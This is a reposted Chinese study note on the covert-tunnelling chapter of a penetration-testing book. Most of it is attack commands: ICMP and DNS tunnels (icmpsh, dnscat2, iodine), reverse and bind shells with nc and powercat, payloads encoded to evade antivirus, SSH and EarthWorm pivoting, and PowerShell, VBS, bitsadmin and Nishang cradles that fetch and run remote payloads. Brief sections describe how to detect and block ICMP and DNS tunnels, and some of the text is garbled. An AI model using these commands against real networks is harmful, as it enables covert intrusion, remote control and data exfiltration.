內網安全攻防:滲透測試指南——第3章 隱藏通信隧道技術


第三章——隱藏通信隧道技術

 

目錄

 

1.網絡層隧道

1.pingtunnel

1.在web邊界服務器上下載並運行ptunnel

2.在vps上運行ptunnel

3.在win7電腦上遠程連接vps的1080端口

2.icmpsh

3.防御ICMP隧道攻擊的方法

2.傳輸層隧道

1.lcx端口轉發

2. nc

3.powercat

1.nc正向連接powercat

2.nc反向連接powercat

3.通過powercat返回powershell

4.Powercat文件傳輸

5.powercat生成Payload(躲避殺軟)

6.Powercat - DNS協議(DNSCAT)

7.Powercat作為跳板

3.應用層協議

1.本地轉發

2.遠程轉發(無邊界設備,服務器kali連通外網)

3.動態轉發

HTTP/HTTPS協議

DNS協議

dnscat2

1.啟動服務端

2.在目標系統運行客戶端

3.腳本加載運行dnscat2-powershell

4.反彈shell

iodine

1.vps服務端

2.linux客戶端

3.windows客戶端

DNS隧道攻擊的防御

SOCKS代理

 

1. EarthWorm

1.正向SOCKS5服務器

2.反彈SOCKS v5服務器

3.二級網絡環境a

4.二級網絡環境b

壓縮

1.RAR

7zip

上傳和下載

1.利用FTP協議上傳

2.利用VBS上傳

3.利用nishang上傳

4.bitadmin下載

5.powershell下載


 

1.網絡層隧道

 

1.pingtunnel

1.在web邊界服務器上下載並運行ptunnel

  1.  
    http://freshmeat.sourceforge.net/projects/ptunnel
  2.  
    ptunnel -x pass
  3.  
     
  4.  
    -×指定icmp隧道連接驗證密碼
  5.  
    -lp指定要監聽的本地tcp端口
  6.  
    -da指定要轉發到的機器的ip地址
  7.  
    -dp指定要轉發到的機器的tcp端口
  8.  
    -p指定icmp隧道另一端機器的ip地址

 

2.在vps上運行ptunnel

ptunnel -p 192.168.0.8 -lp 1080 -da 1.1.1.10 -dp 3389 -x pass

 

3.在win7電腦上遠程連接vps的1080端口

 

 

2.icmpsh

vps

  1.  
    git clone https://github.com/inquisb/icmpsh.git
  2.  
    sysctl -w net.ipv4.icmp_echo_ignore_all=1 #關閉系統Ping命令應答,使用完后改為0
  3.  
    cd icmpsh
  4.  
    pip install impacket
  5.  
    ./icmpsh_m.py 192.168.0.11 192.168.0.8 #192.168.0.11為本機攻擊ip地址,192.168.0.8是目標的公網ip地址
  6.  
    #可以使用ping vpsip地址,tcpdump icmp來獲取目標機器的公網ip

目標機器

icmpsh.exe -t 192.168.0.11 -d 500 -b 30 -s 128

 

3.防御ICMP隧道攻擊的方法

  • 檢測同一來源的ICMP數據包的數量,一個正常的ping命令每秒最多發送兩個數據包,而是要ICMP隧道的瀏覽器會在很短的時間內產生上千個ICMP數據包
  • 注意那些Payload大於64bit的ICMP數據包
  • 尋找響應數據包中的Payload與請求數據包中的Payload不一致的ICMP數據包
  • 檢查ICMP數據包的協議標簽。例如,icmptunnel會在所有的ICMP Payload前面添加“TUNL"標記來標識隧道

 

2.傳輸層隧道

 

1.lcx端口轉發

  1.  
    A.內網端口轉發
  2.  
    目標機器 :lcx.exe -slave公網主機ip 4444 127.0. 0.1 3389
  3.  
    VPS: lcx.exe -listen 4444 5555
  4.  
     
  5.  
    B.本地端口映射
  6.  
    lcx -tran 53目標主機ip 3389

 

2. nc

  1.  
    A.安裝 LINUX:
  2.  
    sudo yum install nc.x86_64
  3.  
    wget http:/ /sourceforge.net/projects /netcat/files /netcat/ 0.7. 1/netcat- 0.7. 1.tar.gz/download -O netcat- 0.7. 1.tar.gz
  4.  
     
  5.  
    WINDOwsS:
  6.  
    Nc: https:/ /joncraton.org/files /nc111nt.zip
  7.  
    Nc_safe:https:/ /joncraton.org/files /nc111nt_safe.zip

 

3.powercat

kali 192.168.0.11
win10 1.1.1.14     192.168.0.14
win2012 1.1.1.8

1.nc正向連接powercat

  1.  
    ┌──(kali㉿kali)-[~]
  2.  
    └─ $ nc 192.168. 0.14 8080 -vv
  3.  
     
  4.  
     
  5.  
    win10
  6.  
    PS C:\> Import-Module .\powercat.ps1
  7.  
    PS C:\> powercat -l -p 8080 -e cmd.exe -v

 

2.nc反向連接powercat

  1.  
    ┌── (kali㉿kali ) - [ ~ ]
  2.  
    └─ $ nc -lp 8080 -vv
  3.  
     
  4.  
    windows10 :
  5.  
    PS C : \ > powercat - c 192.168.0.11 -p 8080 -v -e cmd.exe

 

3.通過powercat返回powershell

  1.  
    Windows2012:
  2.  
    PS C:\> IEX ( NEW- Object Net.WebClient).DownloadString( 'http://1.1.1.6/powercat.ps1')
  3.  
    PS C:\> powercat -l -p 9999 -v
  4.  
     
  5.  
     
  6.  
     
  7.  
    windows10:
  8.  
    PS C:\> powercat -c 1.1. 1.8 -p 9999 -v -ep

 

 

4.Powercat文件傳輸

  1.  
    Windows10下執行 :
  2.  
    powercat -l -p 8080 -of C : \Users \Public \Downloads \test.txt
  3.  
     
  4.  
    Windows Server 2012 :
  5.  
    PS C : \ > powercat - c 1.1.1.14 -p 8080 -i c : \test.txt -v

 

5.powercat生成Payload(躲避殺軟)

  1.  
    Windows10下執行:
  2.  
    powercat -l -p 8080 -e cmd -v -g >> shell.ps1
  3.  
     
  4.  
    將生成的shell.ps1拿到Windows server 10
  5.  
    ./shell.ps1
  6.  
    PS:也可以使用-ge生成編碼后的腳本,然后直接使用Powershell -E shellcode執行。

 

6.Powercat - DNS協議(DNSCAT)

  1.  
    Kali下執行:
  2.  
    ┌──(kali㉿kali)-[~]
  3.  
    └─$ cd /home/kali/Downloads/dnscat2/server
  4.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  5.  
    └─ # proxychains gem install bundler
  6.  
    ┌──(kali㉿kali)-[~/Downloads/dnscat2/server]
  7.  
    └─$ bundle install
  8.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  9.  
    └─ # ruby dnscat2.rb lab.test -e open --no-cache
  10.  
    dnscat2> session -i 1
  11.  
     
  12.  
     
  13.  
    Windows 10下執行:
  14.  
    powercat -c 192.168.0.11 -p 53 -dns lab.test -e cmd.exe

 

7.Powercat作為跳板

  1.  
    Windows Server 2012:
  2.  
    PS C:\> powercat -l -v -p 9999 -e cmd.exe
  3.  
    Windows 10:
  4.  
    powercat -l -v -p 8000 -r tcp: 1.1 .1 .8: 9999
  5.  
    Kali下執行:
  6.  
    nc 192.168 .0 .14 8000 -vv
  7.  
     

 

  1.  
    場景七: Powercat轉發(DNS)
  2.  
    ┌──(root💀kali)-[ /home/kali /Downloads/dnscat2/server]
  3.  
    └─ # ruby dnscat2.rb lab.test -e open --no-cache
  4.  
     
  5.  
    Windows 10:
  6.  
    PS C:\> powercat -l -p 8080 -r dns: 192.168. 0.11 : :lab.test
  7.  
     
  8.  
    Windows Server 2012:
  9.  
    PS C:\> powercat -c 1.1. 1.14 -p 8080 -e cmd.exe -v

 

3.應用層協議

 

SSH協議

  1.  
    ssh root@192.168.0.8
  2.  
    -C 壓縮傳輸,提高傳輸速度
  3.  
    -f 將SSH傳輸轉入后台運行,不占用當前的shell
  4.  
    -N 建立靜默連接(建立了連接,但看不到具體會話)
  5.  
    -g 允許遠程主機連接本地用於轉發的端口
  6.  
    -L 本地端口轉發
  7.  
    -R 遠程端口轉發
  8.  
    -D 動態轉發(SOCKS代理)
  9.  
    -P 指定SSH端口

 

1.本地轉發

以web服務器為跳板,將內網數據庫服務器1.1.1.10的3389端口映射到VPS192.168.0.11的1153端口,再次訪問vps1153端口,就能訪問數據庫服務器的3389端口

  1.  
    ┌──(root💀kali)-[ /home/kali /Downloads/dnscat2/server]
  2.  
    └─ # ssh -CfNg -L 1153:1.1.1.10:3389 kali@192.168.0.8 130 ⨯
  3.  
    kali @192. 168.0. 8 's password:
  4.  
     
  5.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  6.  
    └─# netstat -tulnp | grep "1153"
  7.  
    tcp 0 0 0.0.0.0:1153 0.0.0.0:* LISTEN 5762/ssh
  8.  
    tcp6 0 0 :::1153 :::* LISTEN 5762/ssh
  9.  
     
  10.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  11.  
    └─# rdesktop 127.0.0.1:1153

 

2.遠程轉發(無邊界設備,服務器kali連通外網)

以web服務器為跳板,將vps的3307端口流量轉發到1.1.1.10的3389端口,然后訪問vps的3307端口,就可以訪問2008的3389端口

  1.  
    在web服務器 1.1. 1.5上執行
  2.  
    ssh -CfNg -R 3307 : 1.1. 1.10 : 3389 kali @192. 168.0. 11
  3.  
    rdesktop 127.0. 0.1 : 3307

 

3.動態轉發

  1.  
    ┌──(root💀kali)-[ /home/kali /Downloads/dnscat2/server]
  2.  
    └─ # ssh -CfNg -D 7000 kali@192.168.0.8 255 ⨯
  3.  
    kali @192. 168.0. 8 's password:
  4.  
     
  5.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  6.  
    └─# netstat -tulnp | grep "7000"
  7.  
     

 

 

HTTP/HTTPS協議

  1.  
    將tnnel. jsp上傳至目標服務器 192.168 .0 .8
  2.  
    python reGeorgSocksProxy. py -u http: //192.168.0.8/tunnel.jsp -p 9999
  3.  
     
  4.  
    瀏覽器訪問 127.0 .0 .1: 9999端口

 

 

DNS協議

 

dnscat2

使用dsan2隧道的模式有兩種,分別是直連模式和中繼模式。

  • 直連模式:客戶端直接向指定IP地址的DNS服務器發起DNS解析請求,
  • 中繼模式: DNS經過互聯網的送代解析,指向指定的DNS服務器。與直連模式相比,中dnscan2 通過DNS進行控制並執行命令。

與同類工具相比,drsa2具有如下特點

  • 支持多個會話
  • 流量加密
  • 使用密鑰防止MiTM攻擊
  • 在內存中直接執行PowerShell腳本
  • 隱蔽通信

 

安裝dnscat2

  1.  
    apt- get install gem
  2.  
    apt- get install ruby-dev
  3.  
    apt- get install libpq-dev
  4.  
    apt- get install ruby-bundler
  5.  
     
  6.  
    apt- get install git
  7.  
    git clone https: //github.com/iagox86/dnscat2.git
  8.  
    cd dnscat2/server
  9.  
    bundle init
  10.  
    bundle install
  11.  
     
  12.  
     
  13.  
    tucpdump -n -i ens4 udp dst port 53
  14.  
    nslookup nameserver

1.啟動服務端

  1.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  2.  
    └─ # ruby dnscat2.rb lab.test -e open -c sec --no-cache
  3.  
     
  4.  
    ruby dnscat2.rb --dns server=127.0.0.1,port=533, type=TXT --secret=sec #直連模式
  5.  
     
  6.  
    -c 定義了‘pre-shared secret ',可以使用具有預共享密鑰的身份驗證機制來防止中間人攻擊
  7.  
    -e 規定安全級別,‘open’表述服務端允許客戶端不進行加密
  8.  
    --no-cache 禁止緩存,服務器運行時須添加該項。因為powershell-dnscat2客戶端與dnscat2服務器的 Caching模式不兼容

 

2.在目標系統運行客戶端

  1.  
    linux:
  2.  
    git clone https://github.com/iagox86/dnscat2
  3.  
    cd dnscat2/client/
  4.  
    make
  5.  
     
  6.  
     
  7.  
     
  8.  
    windows:
  9.  
    dnscat2-v0.07-client-win32.exe --ping lab.test #測試是否能夠通信
  10.  
    dnscat2-v0.07-client-win32.exe --dns domain=lab.test --secret=sec #連接服務端
  11.  
     
  12.  
    dnscat --dns server=服務端ip,port=533, type=TEXT --secret=sec #直連模式

 

3.腳本加載運行dnscat2-powershell

  1.  
    PS C:\> Set-ExecutionPolicy unrestricted
  2.  
    PS C:\> Import-Module .\dnscat2.ps1
  3.  
    PS C:\> start-Dnscat2 -Domain lab.test --DNSServer 1.1.1.8
  4.  
     
  5.  
    或者一句話執行
  6.  
    powershell.exe -nop -w hidden - c {IEX(New-Object System.Net.Webclient).DownloadString( 'https://raw.githubusercontent.com/lukebaggett/ dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain [ domain] --DNSServer x.x.x.x}
  7.  
    exec psh

 

4.反彈shell

  1.  
    sessions 查看會話
  2.  
    session -i 1 進入1會話
  3.  
    shell 打開另一個會話,進入交互模式
  4.  
    help 查看幫助
  5.  
    download 下載
  6.  
    ping
  7.  
    suspend 返回上一層
  8.  
    upload
  9.  
    shutdown 切斷但錢會話
  10.  
    quit 退出dnscat2控制台
  11.  
    kill 切斷通道

 

 

iodine

iodine可以通過一台DNS服務器制造一個IPv4 數據通道,特別適合在目標主機只能發送DNS 請求的網絡環境中使用。iodine是基於C語言開發的,分為服務端程序 iodined和客戶端程序 iodine。Kali Linux內置了iodine

與同類工具相比,iodine具有如下特點

  • 不會對下行數據進行編碼。
  • 支持多平台,包括 Linux、BSD、Mac OS、 Windowso·支持16個並發連接。
  • 支持強制密碼機制。
  • 支持同網段隧道P地址(不同於服務器一客戶端網段)。
  • 支持多種 DNS記錄類型
  • 提供了豐富的隧道質量檢測措施。

iodine支持直接轉發和中繼兩種模式,其原理是:通過 TAP虛擬網卡,在服務端建立一個局域網;在客戶端,通過TAP 建立一個虛擬網卡;兩者通過 DNS 隧道連接,處於同—個局域網(可以通過ping命令通信)。在客屍漏和服務端之間建立連接后,客戶機上會多出一塊名為“dns0”的虛擬網卡

1.vps服務端

  1.  
    iodined -c -f -P 123456 192.168.0.1 servername -DD
  2.  
    -f 前台運行
  3.  
    -c 禁止檢查所有傳入請求客戶端IP地址
  4.  
    -P 設置驗證密碼
  5.  
    -D 指定調試等級檢查配置是否正確
  6.  
    https://code.kryo.se/iodine/check-it/檢查iodine

 

linux客戶端

  1.  
    ┌──(root💀kali)-[ /home/kali]
  2.  
    └─ # iodine -f -P 123456 vpn.adccm.xyz -M 200

 

windows客戶端

  1.  
    需要先安裝openvpn添加一塊網卡
  2.  
    iodine -f - P 123456 servername

 

DNS隧道攻擊的防御

防御隧道攻擊並非易事,特別是防御DNS隧道攻擊。通過如下操作,能夠防御常見的隧道攻擊行為。

  • 禁止網絡中的任何人向外部服務器發送DNS請求,只允許與受信任的DNS服務器通信
  • 雖然沒有人會將 IXT解析請求發送給DNS服務器,但是dnscat2和郵件服務器網關會這樣做。因此,可以將郵件服務器/網關列入白名單並阻傳人和傳出流量中的TXT請求。
  • 跟蹤用戶的 DNS查詢次數。如果達到閱值,就生成相應的報告
  • 阻止ICMP

 

 

 

SOCKS代理


常見的網絡場景有如下三類

  1. 服務器在內網中,可以任意訪問外部網絡。
  2. 服務 器在內網中,可以訪向外部網絡,但服務器安裝了防火牆拒絕敏感端口的連接。
  3. 服務器在內網中,對外只開放了部分端口(例如80端口),且服務器不能訪問外部網絡。


常用SOCKS代理工具
SOCKS是一一種代理服務,可以簡單地將一端的系統連接另端。SOCKS支持多種協議包括HTTP、FTP等。SOCKS分為SOCKS4和SOCKS 5兩種類型,SOCK4只支持TCP協議,SOCKS 5不僅支持TCP/UDP協議,還支持各種身份驗證機制等,其標准端口義只支持1080。SOCKS能夠與目標內網計算機進行通信,避免多次使用端口轉發。SOCKS代理其實可理解為增強版的lcx。它在服務端監聽-個服 務端口,當有新的連接請求

出現時,會先從SOCKS協議中解析出目標的URL和目標端口,再執行lex的具體功能。

 

1. EarthWorm


EarthWorm(EW )是一套便攜式的網絡工具,具有SOCKSs服務架設和端口轉發兩大核心功能,可以在復雜的網絡環境中實現網絡穿透。EW能夠以正向、反向、多級級聯等方式建立網絡隧道。EW工具包提供了多個可執行文件,以適用不同的操作系統( Linux、Windows、 Mac OS、ARM-Linux 均包含在內)。6種命令格式(ssocksd、 rcsocks. rssocks. Icx_ slave、 Icx_ listen、 Icx_ tran)

 

1.正向SOCKS5服務器

  1.  
    ┌──(root💀kali)-[ /var/www /html/release]
  2.  
    └─ # ./ew_linux_x64 -s ssocksd -l 1090 #適用於一個有外網IP的情況,此處使用邊界服務器

 

2.反彈SOCKS v5服務器
 

  1.  
    vps: C:\>ew_win32.exe -s rcsocks -l 1008 -e 888
  2.  
    內網機器: ew -s rssocks -d vpsip -e 888

 

3.二級網絡環境a

  1.  
    內網中的機器 B: ew -s ssocksd -l 888
  2.  
    邊界服務器 A: ew -s lcx_tran -l 1080 -f A主機公網ip -g 888 #將 1080端口收到的代理請求轉發給內網中的機器 B888端口

 

4.二級網絡環境b

  1.  
    A主機無公網ip ,也無法訪問內網。B主機可以訪問內網,無法訪問外網
  2.  
     
  3.  
    VPS : ew -s lcx_listen -l 1080 -e 888 #在公網vps中添加轉接隧道,將1080端口接收到的請求轉發給888端口
  4.  
     
  5.  
    主機B: ew -s ssocked -l 999 #ssocked方式啟動999端口的socks代理
  6.  
     
  7.  
    主機A: ew -s lcx_slave -d vpsip -e 888 -f A主機IP -g 999 #在A主機上利用lcx_slave方式,將vps的888端口和B主機的999端口連接起來

 


2.reGeorg
rcGcorg 是reDuh的升級版,主要功能是把內網服務器的端口通過HTPHITS隧道轉發到本機,形成一個回路。reCorg 可以使目標服務器在內網中(或者在設置了端口策略的情況下)連接內部開放端口。rcGcorg 利用WstSll建立一個SOCKS代理進行內網穿透,服務必須支持ASPX、PHP、JSP中的一種。

3. sSocks
sSocks是個SOCKS代理工具套裝,可用來開啟soCKs代理服務。sokes支持SOCKS5驗證,支持IPv6和UDP,並提供反向soCKS代理服務(將遠程計算機作為SOCKS代理服務端反彈到本地)。

4. SocksCap64
SocksCap64是一款在 Windows環境中相當好用的全局代理軟件,SocksCap64可以使Windows應用程序通過SOCKS 代理服務器來訪問網絡,而不需要對這些應用SOKS 代理的應用程序,也可以通過SoksCap64程序進行任何修改。即使是那些本身不支持實現代理訪問

5. Proxifier
Provifer也是一軟非常好用的全局代理軟件,Posifir 提供了跨平台的轉發和代理功能,適用於Windows、Linux、 MacOS平台
6. ProxyChains
ProxyChains是一款可以在Linux下實現全局代理的軟件,性能穩定、可靠,可以使任何程序通過代理上網,允許TCP和DNS流量通過代理隧道,支持HTTP、SOCKS 4、SOCKS 5類型的代理服務器

 

 

壓縮

1.RAR

  1.  
    -a: 添加要壓縮的文件
  2.  
    -k: 鎖定壓縮文件
  3.  
    -s: 生成存檔文件(這樣可以提高壓縮比)。
  4.  
    -P: 指定壓縮密碼。
  5.  
    -r: 遞歸壓縮,包括子目錄。
  6.  
    -x: 指定要排除的文件。
  7.  
    -v: 分卷打包,在打包大文件時用處很大。
  8.  
    -ep: 從名稱中排除路徑。
  9.  
    -epl: 從名稱中排除基本目錄。
  10.  
    -m0: 存儲,添加到壓縮文件時不壓縮文件。
  11.  
    -ml: 最快,使用最快壓縮方式(低壓縮比)。
  12.  
    -m2: 較快,使用快速壓縮方式。
  13.  
    -m3: 標准,使用標准壓縮方式(默認)。
  14.  
    -m: 較好,使用較強壓縮方式(速度較慢)。
  15.  
    -m5: 最好,使用最強壓縮方式(最好的壓縮方式,但速度最慢)。

1.以RAR格式壓縮/解壓

將E:\webs\ 目錄下的所有內容(包括子目錄)打包為1.rar,放到E:\webs\目錄

  1.  
    Rar.exe a -k -r -s -m3 E:\webs\ 1.rar E:\webs
  2.  
    Rar.exe e E:\webs\ 1.rar
  3.  
    e:解壓到當前目錄下
  4.  
    x:以絕對路徑解壓
  5.  
    zip同理

 

2.分卷壓縮/解壓

  1.  
    Rar.exe a -m0 -r -v20m E:\test.rar E:\API
  2.  
    分卷壓縮E盤API目錄下的所有文件及文件夾(-r使用遞歸壓縮)設置每個分卷為20MB,結構為test.part1.rar...
  3.  
     
  4.  
     
  5.  
    Rar.exe x E:\test.part01.rar E:\ test #解壓

 

7zip
 

  1.  
    -r 遞歸壓縮
  2.  
    -o 指定輸出目錄
  3.  
    -p 指定密碼
  4.  
    -v 分卷壓縮
  5.  
    a 添加壓縮文件

 

1.普通壓縮/解壓方式

  1.  
    7z.exe a -r -p12345 E : \webs \ 1.7z E : \webs #壓縮
  2.  
    7z.exe x -p12345 E : \webs \ 1.7z -oE : \X

 

2.分卷壓縮

  1.  
    7z .exe -r -vlm -padmin a E:\test. 7z E:\API
  2.  
    7z.exe x -padmin E:\test. 7z. 001 -oE:\x

 

 

上傳和下載

 

1.利用FTP協議上傳

  1.  
    本地或者vps搭建ftp服務器
  2.  
     
  3.  
    常用的FTP命令列舉如下,
  4.  
    open <服務器地址 >:連接服務器
  5.  
     
  6.  
    cd <目錄名 >:進入指定目錄。
  7.  
    lcd <文件夾路徑 >:定位本地文件夾(上傳文件的位置或者下載文件的本地位置)。
  8.  
    type:查看當前的傳輸方式(默認為ASCII碼傳輸)。
  9.  
    ascil:設置傳輸方式為ASCII碼傳輸(傳輸TXT等格式的文件)。
  10.  
    binary:設置傳輸方式為二進制傳輸(傳輸EXE文件,以及圖片、視音頻文件等)。
  11.  
    close:結束與服務器的FTP會話。
  12.  
    quit:結束與服務器的FTP會話並退出FTP環境。
  13.  
    put <文件名 > [newnamel:上傳。"newname"為保存時的新名字,若不指定將以原名保存。
  14.  
    send <文件名 > [newname]:上傳。"newname為保存時的新名字.若不指定將以原名保存。
  15.  
    get<文件名> [newname]:下載。newname為保存時的新名字,若不指定將以原名保存。
  16.  
    mget filename filename..]:.下載多個文件。mget 命令支持空格和“?”兩個通配符,例如“mget.mp3”表示下載FTP服務器當前目錄下所有擴展名為“mp3”的文件

 

2.利用VBS上傳

  1.  
    echo Set Post = CreateObject( "Msxml2.XMLHTTP") >>download.vbs
  2.  
    echo Set Shell = CreateObject( "Wscript.Shell") >>download.vbs
  3.  
    echo Post.Open "GET", "ip/文件",0 >>download.vbs
  4.  
    echo Post.Send() >>download.vbs
  5.  
    echo Set aGet = CreateObject( "ADODB.Stream") >>download.vbs
  6.  
    echo aGet.Mode = 3 >>download.vbs
  7.  
    echo aGet.Type = 1 >>download.vbs
  8.  
    echo aGet.Open() >>download.vbs
  9.  
    echo aGet.Write(Post.responseBody) >>download.vbs
  10.  
    echo aGet.SaveToFile " 下載到的位置",2 >>download.vbs
  11.  
     
  12.  
    最后
  13.  
    Cscript download.vbs

 

3.利用nishang上傳

Download Excule是Nishang中的下載執行腳本,常用於下載文本文件並將其轉換為EXE文件。使用Nishang上傳文件的原理是:利用Nishang將上傳的EXE文件轉換為十六進制的形式,然后使用echo命令訪問目標服務器,最后使用Download Exccute腳本下載文本文件並將其轉換為EXE文件。
在這里,需要使用echo命令將Nishang PowersShell腳本的內容上傳到目標服務器中,並將執行以下命令,利用Nishang中的exetolext.psl腳本將由Metasploit生成的msf.exe修改為文本文件msf.txt

.\ ExetoText c: msf.exe c: msf.txt


接着,通過echo命令,先將轉換的HEX值添加到目標文件中,再將Nishang腳本文件的內容添加到目標文件中。最,輸人如下命令,調用Dowlad Excule腳本下載並執行該文本文件。
 

Download_Execute http://192.168.0.11/msf.txt

 

4.bitadmin下載

bitsadmin /transfer 111 ip/file 下載到的路徑    #win7以上版本

 

5.powershell下載

powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('ip/文件','下載文件路徑');

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM